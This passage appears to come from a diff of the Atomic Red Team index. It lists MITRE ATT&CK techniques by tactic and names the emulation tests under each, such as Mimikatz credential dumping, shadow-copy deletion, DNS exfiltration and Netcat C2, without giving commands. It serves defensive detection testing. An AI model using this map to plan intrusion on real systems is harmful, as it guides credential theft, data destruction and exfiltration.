Windows Recovery Console Repair [windows] + - Atomic Test #4: Windows - Overwrite file with Sysinternals SDelete [windows] + - Atomic Test #5: macOS/Linux - Overwrite file with DD [linux, macos] + - Atomic Test #6: Windows - Delete Backup Files [windows] +- T1486 Data Encrypted for Impact [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1491 Defacement [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1488 Disk Content Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1487 Disk Structure Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1499 Endpoint Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1495 Firmware Corruption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1490 Inhibit System Recovery](./T1490/T1490.md) + - Atomic Test #1: Windows - Delete Volume Shadow Copies [windows] + - Atomic Test #2: Windows - Delete Volume Shadow Copies via WMI [windows] + - Atomic Test #3: Windows - Delete Windows Backup Catalog [windows] + - Atomic Test #4: Windows - Disable Windows Recovery Console Repair [windows] + - Atomic Test #5: Windows - Delete Volume Shadow Copies via WMI with PowerShell [windows] +- T1498 Network Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1496 Resource Hijacking](./T1496/T1496.md) + - Atomic Test #1: macOS/Linux - Simulate CPU Load with Yes [macos, linux] +- T1494 Runtime Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1489 Service Stop](./T1489/T1489.md) + - Atomic Test #1: Windows - Stop service using Service Controller [windows] + - Atomic Test #2: Windows - Stop service using net.exe [windows] + - Atomic Test #3: Windows - Stop service by killing process [windows] +- T1492 Stored Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1529 System Shutdown/Reboot](./T1529/T1529.md) + - Atomic Test #1: Shutdown System - Windows [windows] + - Atomic Test #2: Restart System - Windows [windows] + - Atomic Test #3: Restart System via `shutdown` - macOS/Linux [macos, linux] + - Atomic Test #4: Shutdown System via `shutdown` - macOS/Linux [macos, linux] + - Atomic Test #5: Restart System via `reboot` - macOS/Linux [macos, linux] + - Atomic Test #6: Shutdown System via `halt` - Linux [linux] + - Atomic Test #7: Reboot System via `halt` - Linux [linux] + - Atomic Test #8: Shutdown System via `poweroff` - Linux [linux] + - Atomic Test #9: Reboot System via `poweroff` - Linux [linux] +- T1493 Transmitted Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) + +# discovery +- [T1087 Account Discovery](./T1087/T1087.md) + - Atomic Test #1: Enumerate all accounts [linux, macos] + - Atomic Test #2: View sudoers access [linux, macos] + - Atomic Test #3: View accounts with UID 0 [linux, macos] + - Atomic Test #4: List opened files by user [linux, macos] + - Atomic Test #5: Show if a user account has ever logged in remotely [linux] + - Atomic Test #6: Enumerate users and groups [linux, macos] + - Atomic Test #7: Enumerate users and groups [macos] + - Atomic Test #8: Enumerate all accounts [windows] + - Atomic Test #9: Enumerate all accounts via PowerShell [windows] + - Atomic Test #10: Enumerate logged on users [windows] + - Atomic Test #11: Enumerate logged on users via PowerShell [windows] +- [T1010 Application Window Discovery](./T1010/T1010.md) + - Atomic Test #1: List Process Main Windows - C# .NET [windows] +- [T1217 Browser Bookmark Discovery](./T1217/T1217.md) + - Atomic Test #1: List Mozilla Firefox Bookmark Database Files on Linux [linux] + - Atomic Test #2: List Mozilla Firefox Bookmark Database Files on macOS [macos] + - Atomic Test #3: List Google Chrome Bookmark JSON Files on macOS [macos] + - Atomic Test #4: List Google Chrome Bookmarks on Windows with powershell [windows] + - Atomic Test #5: List Google Chrome Bookmarks on Windows with command prompt [windows] +- T1538 Cloud Service Dashboard [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1526 Cloud Service Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1482 Domain Trust Discovery](./T1482/T1482.md) + - Atomic Test #1: Windows - Discover domain trusts with dsquery [windows] + - Atomic Test #2: Windows - Discover domain trusts with nltest [windows] + - Atomic Test #3: Powershell enumerate domains and forests [windows] +- [T1083 File and Directory Discovery](./T1083/T1083.md) + - Atomic Test #1: File and Directory Discovery (cmd.exe) [windows] + - Atomic Test #2: File and Directory Discovery (PowerShell) [windows] + - Atomic Test #3: Nix File and Diectory Discovery [macos, linux] + - Atomic Test #4: Nix File and Directory Discovery 2 [macos, linux] +- [T1046 Network Service Scanning](./T1046/T1046.md) + - Atomic Test #1: Port Scan [linux, macos] + - Atomic Test #2: Port Scan Nmap [linux, macos] +- [T1135 Network Share Discovery](./T1135/T1135.md) + - Atomic Test #1: Network Share Discovery [macos, linux] + - Atomic Test #2: Network Share Discovery command prompt [windows] + - Atomic Test #3: Network Share Discovery PowerShell [windows] + - Atomic Test #4: View available share drives [windows] +- [T1040 Network Sniffing](./T1040/T1040.md) + - Atomic Test #1: Packet Capture Linux [linux] + - Atomic Test #2: Packet Capture macOS [macos] + - Atomic Test #3: Packet Capture Windows Command Prompt [windows] + - Atomic Test #4: Packet Capture PowerShell [windows] +- [T1201 Password Policy Discovery](./T1201/T1201.md) + - Atomic Test #1: Examine password complexity policy - Ubuntu [linux] + - Atomic Test #2: Examine password complexity policy - CentOS/RHEL 7.x [linux] + - Atomic Test #3: Examine password complexity policy - CentOS/RHEL 6.x [linux] + - Atomic Test #4: Examine password expiration policy - All Linux [linux] + - Atomic Test #5: Examine local password policy - Windows [windows] + - Atomic Test #6: Examine domain password policy - Windows [windows] + - Atomic Test #7: Examine password policy - macOS [macos] +- T1120 Peripheral Device Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1069 Permission Groups Discovery](./T1069/T1069.md) + - Atomic Test #1: Permission Groups Discovery [macos, linux] + - Atomic Test #2: Basic Permission Groups Discovery Windows [windows] + - Atomic Test #3: Permission Groups Discovery PowerShell [windows] + - Atomic Test #4: Elevated group enumeration using net group [windows] +- [T1057 Process Discovery](./T1057/T1057.md) + - Atomic Test #1: Process Discovery - ps [macos, linux] + - Atomic Test #2: Process Discovery - tasklist [windows] +- [T1012 Query Registry](./T1012/T1012.md) + - Atomic Test #1: Query Registry [windows] +- [T1018 Remote System Discovery](./T1018/T1018.md) + - Atomic Test #1: Remote System Discovery - net [windows] + - Atomic Test #2: Remote System Discovery - net group Domain Computers [windows] + - Atomic Test #3: Remote System Discovery - nltest [windows] + - Atomic Test #4: Remote System Discovery - ping sweep [windows] + - Atomic Test #5: Remote System Discovery - arp [windows] + - Atomic Test #6: Remote System Discovery - arp nix [linux, macos] + - Atomic Test #7: Remote System Discovery - sweep [linux, macos] + - Atomic Test #8: Remote System Discovery - nslookup [windows] +- [T1063 Security Software Discovery](./T1063/T1063.md) + - Atomic Test #1: Security Software Discovery [windows] + - Atomic Test #2: Security Software Discovery - powershell [windows] + - Atomic Test #3: Security Software Discovery - ps [linux, macos] + - Atomic Test #4: Security Software Discovery - Sysmon Service [windows] + - Atomic Test #5: Security Software Discovery - AV Discovery via WMI [windows] +- [T1518 Software Discovery](./T1518/T1518.md) + - Atomic Test #1: Find and Display Internet Explorer Browser Version [windows] + - Atomic Test #2: Applications Installed [windows] +- [T1082 System Information Discovery](./T1082/T1082.md) + - Atomic Test #1: System Information Discovery [windows] + - Atomic Test #2: System Information Discovery [linux, macos] + - Atomic Test #3: List OS Information [linux, macos] + - Atomic Test #4: Linux VM Check via Hardware [linux] + - Atomic Test #5: Linux VM Check via Kernel Modules [linux] + - Atomic Test #6: Hostname Discovery (Windows) [windows] + - Atomic Test #7: Hostname Discovery [linux, macos] + - Atomic Test #8: Windows MachineGUID Discovery [windows] +- [T1016 System Network Configuration Discovery](./T1016/T1016.md) + - Atomic Test #1: System Network Configuration Discovery [windows] + - Atomic Test #2: List Windows Firewall Rules [windows] + - Atomic Test #3: System Network Configuration Discovery [macos, linux] + - Atomic Test #4: System Network Configuration Discovery (TrickBot Style) [windows] + - Atomic Test #5: List Open Egress Ports [windows] +- [T1049 System Network Connections Discovery](./T1049/T1049.md) + - Atomic Test #1: System Network Connections Discovery [windows] + - Atomic Test #2: System Network Connections Discovery with PowerShell [windows] + - Atomic Test #3: System Network Connections Discovery Linux & MacOS [linux, macos] +- [T1033 System Owner/User Discovery](./T1033/T1033.md) + - Atomic Test #1: System Owner/User Discovery [windows] + - Atomic Test #2: System Owner/User Discovery [linux, macos] +- [T1007 System Service Discovery](./T1007/T1007.md) + - Atomic Test #1: System Service Discovery [windows] + - Atomic Test #2: System Service Discovery - net.exe [windows] +- [T1124 System Time Discovery](./T1124/T1124.md) + - Atomic Test #1: System Time Discovery [windows] + - Atomic Test #2: System Time Discovery - PowerShell [windows] +- T1497 Virtualization/Sandbox Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) + +# credential-access +- [T1098 Account Manipulation](./T1098/T1098.md) + - Atomic Test #1: Admin Account Manipulate [windows] +- [T1139 Bash History](./T1139/T1139.md) + - Atomic Test #1: Search Through Bash History [linux, macos] +- [T1110 Brute Force](./T1110/T1110.md) + - Atomic Test #1: Brute Force Credentials [windows] +- T1522 Cloud Instance Metadata API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1003 Credential Dumping](./T1003/T1003.md) + - Atomic Test #1: Powershell Mimikatz [windows] + - Atomic Test #2: Gsecdump [windows] + - Atomic Test #3: Windows Credential Editor [windows] + - Atomic Test #4: Registry dump of SAM, creds, and secrets [windows] + - Atomic Test #5: Dump LSASS.exe Memory using ProcDump [windows] + - Atomic Test #6: Dump LSASS.exe Memory using Windows Task Manager [windows] + - Atomic Test #7: Offline Credential Theft With Mimikatz [windows] + - Atomic Test #8: Dump Active Directory Database with NTDSUtil [windows] + - Atomic Test #9: Create Volume Shadow Copy with NTDS.dit [windows] + - Atomic Test #10: Copy NTDS.dit from Volume Shadow Copy [windows] + - Atomic Test #11: GPP Passwords (findstr) [windows] + - Atomic Test #12: GPP Passwords (Get-GPPPassword) [windows] + - Atomic Test #13: LSASS read with pypykatz [windows] + - Atomic Test #14: Registry parse with pypykatz [windows] +- T1503 Credentials from Web Browsers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1081 Credentials in Files](./T1081/T1081.md) + - Atomic Test #1: Extract Browser and System credentials with LaZagne [macos] + - Atomic Test #2: Extract passwords with grep [macos, linux] + - Atomic Test #3: Extracting passwords with findstr [windows] + - Atomic Test #4: Access unattend.xml [windows] +- [T1214 Credentials in Registry](./T1214/T1214.md) + - Atomic Test #1: Enumeration for Credentials in Registry [windows] + - Atomic Test #2: Enumeration for PuTTY Credentials in Registry [windows] +- T1212 Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1187 Forced Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1179 Hooking](./T1179/T1179.md) + - Atomic Test #1: Hook PowerShell TLS Encrypt/Decrypt Messages [windows] +- [T1056 Input Capture](./T1056/T1056.md) + - Atomic Test #1: Input Capture [windows] +- [T1141 Input Prompt](./T1141/T1141.md) + - Atomic Test #1: AppleScript - Prompt User for Password [macos] + - Atomic Test #2: PowerShell - Prompt User for Password [windows] +- [T1208 Kerberoasting](./T1208/T1208.md) + - Atomic Test #1: Request for service tickets [windows] +- [T1142 Keychain](./T1142/T1142.md) + - Atomic Test #1: Keychain [macos] +- T1171 LLMNR/NBT-NS Poisoning and Relay [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1040 Network Sniffing](./T1040/T1040.md) + - Atomic Test #1: Packet Capture Linux [linux] + - Atomic Test #2: Packet Capture macOS [macos] + - Atomic Test #3: Packet Capture Windows Command Prompt [windows] + - Atomic Test #4: Packet Capture PowerShell [windows] +- [T1174 Password Filter DLL](./T1174/T1174.md) + - Atomic Test #1: Install and Register Password Filter DLL [windows] +- [T1145 Private Keys](./T1145/T1145.md) + - Atomic Test #1: Private Keys [windows] + - Atomic Test #2: Discover Private SSH Keys [macos, linux] + - Atomic Test #3: Copy Private SSH Keys with CP [linux] + - Atomic Test #4: Copy Private SSH Keys with rsync [macos, linux] +- T1167 Securityd Memory [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1528 Steal Application Access Token [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1539 Steal Web Session Cookie [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1111 Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) + +# execution +- [T1155 AppleScript](./T1155/T1155.md) + - Atomic Test #1: AppleScript [macos] +- [T1191 CMSTP](./T1191/T1191.md) + - Atomic Test #1: CMSTP Executing Remote Scriptlet [windows] + - Atomic Test #2: CMSTP Executing UAC Bypass [windows] +- [T1059 Command-Line Interface](./T1059/T1059.md) + - Atomic Test #1: Command-Line Interface [macos, linux] +- [T1223 Compiled HTML File](./T1223/T1223.md) + - Atomic Test #1: Compiled HTML Help Local Payload [windows] + - Atomic Test #2: Compiled HTML Help Remote Payload [windows] +- T1175 Component Object Model and Distributed COM [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1196 Control Panel Items](./T1196/T1196.md) + - Atomic Test #1: Control Panel Items [windows] +- [T1173 Dynamic Data Exchange](./T1173/T1173.md) + - Atomic Test #1: Execute Commands [windows] + - Atomic Test #2: Execute PowerShell script via Word DDE [windows] +- T1106 Execution through API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1129 Execution through Module Load [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1203 Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1061 Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1118 InstallUtil](./T1118/T1118.md) + - Atomic Test #1: CheckIfInstallable method call [windows] + - Atomic Test #2: InstallHelper method call [windows] + - Atomic Test #3: InstallUtil class constructor method call [windows] + - Atomic Test #4: InstallUtil Install method call [windows] + - Atomic Test #5: InstallUtil Uninstall method call - /U variant [windows] + - Atomic Test #6: InstallUtil Uninstall method call - '/installtype=notransaction /action=uninstall' variant [windows] + - Atomic Test #7: InstallUtil HelpText method call [windows] + - Atomic Test #8: InstallUtil evasive invocation [windows] +- T1177 LSASS Driver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1152 Launchctl](./T1152/T1152.md) + - Atomic Test #1: Launchctl [macos] +- [T1168 Local Job Scheduling](./T1168/T1168.md) + - Atomic Test #1: Cron - Replace crontab with referenced file [macos, linux] + - Atomic Test #2: Cron - Add script to cron folder [macos, linux] + - Atomic Test #3: Event Monitor Daemon Persistence [macos, linux] +- [T1170 Mshta](./T1170/T1170.md) + - Atomic Test #1: Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject [windows] + - Atomic Test #2: Mshta calls a local VBScript file to launch notepad.exe [windows] + - Atomic Test #3: Mshta executes VBScript to execute malicious command [windows] + - Atomic Test #4: Mshta Executes Remote HTML Application (HTA) [windows] +- [T1086 PowerShell](./T1086/T1086.md) + - Atomic Test #1: Mimikatz [windows] + - Atomic Test #2: BloodHound [windows] + - Atomic Test #3: Obfuscation Tests [windows] + - Atomic Test #4: Mimikatz - Cradlecraft PsSendKeys [windows] + - Atomic Test #5: Invoke-AppPathBypass [windows] + - Atomic Test #6: PowerShell Add User [windows] + - Atomic Test #7: Powershell MsXml COM object - no prompt [windows] + - Atomic Test #8: Powershell MsXml COM object - with prompt [windows] + - Atomic Test #9: Powershell XML requests [windows] + - Atomic Test #10: Powershell invoke mshta.exe download [windows] + - Atomic Test #11: Powershell Invoke-DownloadCradle [windows] + - Atomic Test #12: PowerShell Fileless Script Execution [windows] + - Atomic Test #13: PowerShell Downgrade Attack [windows] + - Atomic Test #14: NTFS Alternate Data Stream Access [windows] +- [T1121 Regsvcs/Regasm](./T1121/T1121.md) + - Atomic Test #1: Regasm Uninstall Method Call Test [windows] + - Atomic Test #2: Regsvs Uninstall Method Call Test [windows] +- [T1117 Regsvr32](./T1117/T1117.md) + - Atomic Test #1: Regsvr32 local COM scriptlet execution [windows] + - Atomic Test #2: Regsvr32 remote COM scriptlet execution [windows] + - Atomic Test #3: Regsvr32 local DLL execution [windows] +- [T1085 Rundll32](./T1085/T1085.md) + - Atomic Test #1: Rundll32 execute JavaScript Remote Payload With GetObject [windows] + - Atomic Test #2: Rundll32 execute VBscript command [windows] + - Atomic Test #3: Rundll32 advpack.dll Execution [windows] + - Atomic Test #4: Rundll32 ieadvpack.dll Execution [windows] + - Atomic Test #5: Rundll32 syssetup.dll Execution [windows] + - Atomic Test #6: Rundll32 setupapi.dll Execution [windows] +- [T1053 Scheduled Task](./T1053/T1053.md) + - Atomic Test #1: At.exe Scheduled task [windows] + - Atomic Test #2: Scheduled task Local [windows] + - Atomic Test #3: Scheduled task Remote [windows] + - Atomic Test #4: Powershell Cmdlet Scheduled Task [windows] +- [T1064 Scripting](./T1064/T1064.md) + - Atomic Test #1: Create and Execute Bash Shell Script [macos, linux] + - Atomic Test #2: Create and Execute Batch Script [windows] +- [T1035 Service Execution](./T1035/T1035.md) + - Atomic Test #1: Execute a Command as a Service [windows] + - Atomic Test #2: Use PsExec to execute a command on a remote host [windows] +- [T1218 Signed Binary Proxy Execution](./T1218/T1218.md) + - Atomic Test #1: mavinject - Inject DLL into running process [windows] + - Atomic Test #2: SyncAppvPublishingServer - Execute arbitrary PowerShell code [windows] + - Atomic Test #3: Register-CimProvider - Execute evil dll [windows] + - Atomic Test #4: Msiexec.exe - Execute Local MSI file [windows] + - Atomic Test #5: Msiexec.exe - Execute Remote MSI file [windows] + - Atomic Test #6: Msiexec.exe - Execute Arbitrary DLL [windows] + - Atomic Test #7: Odbcconf.exe - Execute Arbitrary DLL [windows] + - Atomic Test #8: InfDefaultInstall.exe .inf Execution [windows] +- [T1216 Signed Script Proxy Execution](./T1216/T1216.md) + - Atomic Test #1: PubPrn.vbs Signed Script Bypass [windows] + - Atomic Test #2: SyncAppvPublishingServer Signed Script PowerShell Command Execution [windows] + - Atomic Test #3: manage-bde.wsf Signed Script Command Execution [windows] +- [T1153 Source](./T1153/T1153.md) + - Atomic Test #1: Execute Script using Source [macos, linux] + - Atomic Test #2: Execute Script using Source Alias [macos, linux] +- [T1151 Space after Filename](./T1151/T1151.md) + - Atomic Test #1: Space After Filename [macos] +- T1072 Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1154 Trap](./T1154/T1154.md) + - Atomic Test #1: Trap [macos, linux] +- [T1127 Trusted Developer Utilities](./T1127/T1127.md) + - Atomic Test #1: MSBuild Bypass Using Inline Tasks [windows] +- [T1204 User Execution](./T1204/T1204.md) + - Atomic Test #1: OSTap Style Macro Execution [windows] + - Atomic Test #2: Maldoc choice flags command execution [windows] + - Atomic Test #3: OSTAP JS version [windows] +- [T1047 Windows Management Instrumentation](./T1047/T1047.md) + - Atomic Test #1: WMI Reconnaissance Users [windows] + - Atomic Test #2: WMI Reconnaissance Processes [windows] + - Atomic Test #3: WMI Reconnaissance Software [windows] + - Atomic Test #4: WMI Reconnaissance List Remote Services [windows] + - Atomic Test #5: WMI Execute Local Process [windows] + - Atomic Test #6: WMI Execute Remote Process [windows] +- [T1028 Windows Remote Management](./T1028/T1028.md) + - Atomic Test #1: Enable Windows Remote Management [windows] + - Atomic Test #2: PowerShell Lateral Movement [windows] + - Atomic Test #3: WMIC Process Call Create [windows] + - Atomic Test #4: Psexec [windows] + - Atomic Test #5: Invoke-Command [windows] +- [T1220 XSL Script Processing](./T1220/T1220.md) + - Atomic Test #1: MSXSL Bypass using local files [windows] + - Atomic Test #2: MSXSL Bypass using remote files [windows] + - Atomic Test #3: WMIC bypass using local XSL file [windows] + - Atomic Test #4: WMIC bypass using remote XSL file [windows] + +# lateral-movement +- [T1155 AppleScript](./T1155/T1155.md) + - Atomic Test #1: AppleScript [macos] +- T1527 Application Access Token [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1017 Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1175 Component Object Model and Distributed COM [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1210 Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1534 Internal Spearphishing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1037 Logon Scripts](./T1037/T1037.md) + - Atomic Test #1: Logon Scripts [windows] + - Atomic Test #2: Scheduled Task Startup Script [windows] + - Atomic Test #3: Logon Scripts - Mac [macos] + - Atomic Test #4: Supicious vbs file run from startup Folder [windows] + - Atomic Test #5: Supicious jse file run from startup Folder [windows] + - Atomic Test #6: Supicious bat file run from startup Folder [windows] +- [T1075 Pass the Hash](./T1075/T1075.md) + - Atomic Test #1: Mimikatz Pass the Hash [windows] + - Atomic Test #2: crackmapexec Pass the Hash [windows] +- [T1097 Pass the Ticket](./T1097/T1097.md) + - Atomic Test #1: Mimikatz Kerberos Ticket Attack [windows] +- [T1076 Remote Desktop Protocol](./T1076/T1076.md) + - Atomic Test #1: RDP [windows] + - Atomic Test #2: RDPto-DomainController [windows] +- [T1105 Remote File Copy](./T1105/T1105.md) + - Atomic Test #1: rsync remote file copy (push) [linux, macos] + - Atomic Test #2: rsync remote file copy (pull) [linux, macos] + - Atomic Test #3: scp remote file copy (push) [linux, macos] + - Atomic Test #4: scp remote file copy (pull) [linux, macos] + - Atomic Test #5: sftp remote file copy (push) [linux, macos] + - Atomic Test #6: sftp remote file copy (pull) [linux, macos] + - Atomic Test #7: certutil download (urlcache) [windows] + - Atomic Test #8: certutil download (verifyctl) [windows] + - Atomic Test #9: Windows - BITSAdmin BITS Download [windows] + - Atomic Test #10: Windows - PowerShell Download [windows] + - Atomic Test #11: OSTAP Worming Activity [windows] +- T1021 Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1091 Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1184 SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1051 Shared Webroot [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1080 Taint Shared Content [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1072 Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1506 Web Session Cookie [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1077 Windows Admin Shares](./T1077/T1077.md) + - Atomic Test #1: Map admin share [windows] + - Atomic Test #2: Map Admin Share PowerShell [windows] + - Atomic Test #3: Copy and Execute File with PsExec [windows] + - Atomic Test #4: Execute command writing output to local Admin Share [windows] +- [T1028 Windows Remote Management](./T1028/T1028.md) + - Atomic Test #1: Enable Windows Remote Management [windows] + - Atomic Test #2: PowerShell Lateral Movement [windows] + - Atomic Test #3: WMIC Process Call Create [windows] + - Atomic Test #4: Psexec [windows] + - Atomic Test #5: Invoke-Command [windows] + +# collection +- [T1123 Audio Capture](./T1123/T1123.md) + - Atomic Test #1: using device audio capture commandlet [windows] +- [T1119 Automated Collection](./T1119/T1119.md) + - Atomic Test #1: Automated Collection Command Prompt [windows] + - Atomic Test #2: Automated Collection PowerShell [windows] + - Atomic Test #3: Recon information for export with PowerShell [windows] + - Atomic Test #4: Recon information for export with Command Prompt [windows] +- [T1115 Clipboard Data](./T1115/T1115.md) + - Atomic Test #1: Utilize Clipboard to store or execute commands from [windows] + - Atomic Test #2: PowerShell [windows] +- [T1074 Data Staged](./T1074/T1074.md) + - Atomic Test #1: Stage data from Discovery.bat [windows] + - Atomic Test #2: Stage data from Discovery.sh [linux, macos] + - Atomic Test #3: Zip a Folder with PowerShell for Staging in Temp [windows] +- T1530 Data from Cloud Storage Object [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1213 Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1005 Data from Local System](./T1005/T1005.md) + - Atomic Test #1: Search macOS Safari Cookies [macos] +- T1039 Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1025 Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1114 Email Collection](./T1114/T1114.md) + - Atomic Test #1: T1114 Email Collection with PowerShell [windows] +- [T1056 Input Capture](./T1056/T1056.md) + - Atomic Test #1: Input Capture [windows] +- T1185 Man in the Browser [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1113 Screen Capture](./T1113/T1113.md) + - Atomic Test #1: Screencapture [macos] + - Atomic Test #2: Screencapture (silent) [macos] + - Atomic Test #3: X Windows Capture [linux] + - Atomic Test #4: Import [linux] +- T1125 Video Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) + +# exfiltration +- T1020 Automated Exfiltration [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1002 Data Compressed](./T1002/T1002.md) + - Atomic Test #1: Compress Data for Exfiltration With PowerShell [windows] + - Atomic Test #2: Compress Data for Exfiltration With Rar [windows] + - Atomic Test #3: Data Compressed - nix - zip [linux, macos] + - Atomic Test #4: Data Compressed - nix - gzip Single File [linux, macos] + - Atomic Test #5: Data Compressed - nix - tar Folder or File [linux, macos] +- [T1022 Data Encrypted](./T1022/T1022.md) + - Atomic Test #1: Data Encrypted with zip and gpg symmetric [macos, linux] + - Atomic Test #2: Compress Data and lock with password for Exfiltration with winrar [windows] + - Atomic Test #3: Compress Data and lock with password for Exfiltration with winzip [windows] + - Atomic Test #4: Compress Data and lock with password for Exfiltration with 7zip [windows] +- [T1030 Data Transfer Size Limits](./T1030/T1030.md) + - Atomic Test #1: Data Transfer Size Limits [macos, linux] +- [T1048 Exfiltration Over Alternative Protocol](./T1048/T1048.md) + - Atomic Test #1: Exfiltration Over Alternative Protocol - SSH [macos, linux] + - Atomic Test #2: Exfiltration Over Alternative Protocol - SSH [macos, linux] + - Atomic Test #3: Exfiltration Over Alternative Protocol - HTTP [macos, linux] + - Atomic Test #4: Exfiltration Over Alternative Protocol - ICMP [windows] + - Atomic Test #5: Exfiltration Over Alternative Protocol - DNS [linux] +- T1041 Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1011 Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1052 Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1029 Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1537 Transfer Data to Cloud Account [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) + +# command-and-control +- T1043 Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1092 Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1090 Connection Proxy](./T1090/T1090.md) + - Atomic Test #1: Connection Proxy [macos, linux] + - Atomic Test #2: portproxy reg key [windows] +- T1094 Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1024 Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1132 Data Encoding](./T1132/T1132.md) + - Atomic Test #1: Base64 Encoded data. [macos, linux] +- T1001 Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1172 Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1483 Domain Generation Algorithms [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1008 Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1104 Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1188 Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1026 Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1079 Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1205 Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1219 Remote Access Tools](./T1219/T1219.md) + - Atomic Test #1: TeamViewer Files Detected Test on Windows [windows] +- [T1105 Remote File Copy](./T1105/T1105.md) + - Atomic Test #1: rsync remote file copy (push) [linux, macos] + - Atomic Test #2: rsync remote file copy (pull) [linux, macos] + - Atomic Test #3: scp remote file copy (push) [linux, macos] + - Atomic Test #4: scp remote file copy (pull) [linux, macos] + - Atomic Test #5: sftp remote file copy (push) [linux, macos] + - Atomic Test #6: sftp remote file copy (pull) [linux, macos] + - Atomic Test #7: certutil download (urlcache) [windows] + - Atomic Test #8: certutil download (verifyctl) [windows] + - Atomic Test #9: Windows - BITSAdmin BITS Download [windows] + - Atomic Test #10: Windows - PowerShell Download [windows] + - Atomic Test #11: OSTAP Worming Activity [windows] +- [T1071 Standard Application Layer Protocol](./T1071/T1071.md) + - Atomic Test #1: Malicious User Agents - Powershell [windows] + - Atomic Test #2: Malicious User Agents - CMD [windows] + - Atomic Test #3: Malicious User Agents - Nix [linux, macos] + - Atomic Test #4: DNS Large Query Volume [windows] + - Atomic Test #5: DNS Regular Beaconing [windows] + - Atomic Test #6: DNS Long Domain Query [windows] + - Atomic Test #7: DNS C2 [windows] + - Atomic Test #8: OSTap Payload Download [windows] +- [T1032 Standard Cryptographic Protocol](./T1032/T1032.md) + - Atomic Test #1: OpenSSL C2 [windows] +- [T1095 Standard Non-Application Layer Protocol](./T1095/T1095.md) + - Atomic Test #1: ICMP C2 [windows] + - Atomic Test #2: Netcat C2 [windows] + - Atomic Test #3: Powercat C2 [windows] +- [T1065 Uncommonly Used Port](./T1065/T1065.md) + - Atomic Test #1: Testing usage of uncommonly used port with PowerShell [windows] + - Atomic Test #2: 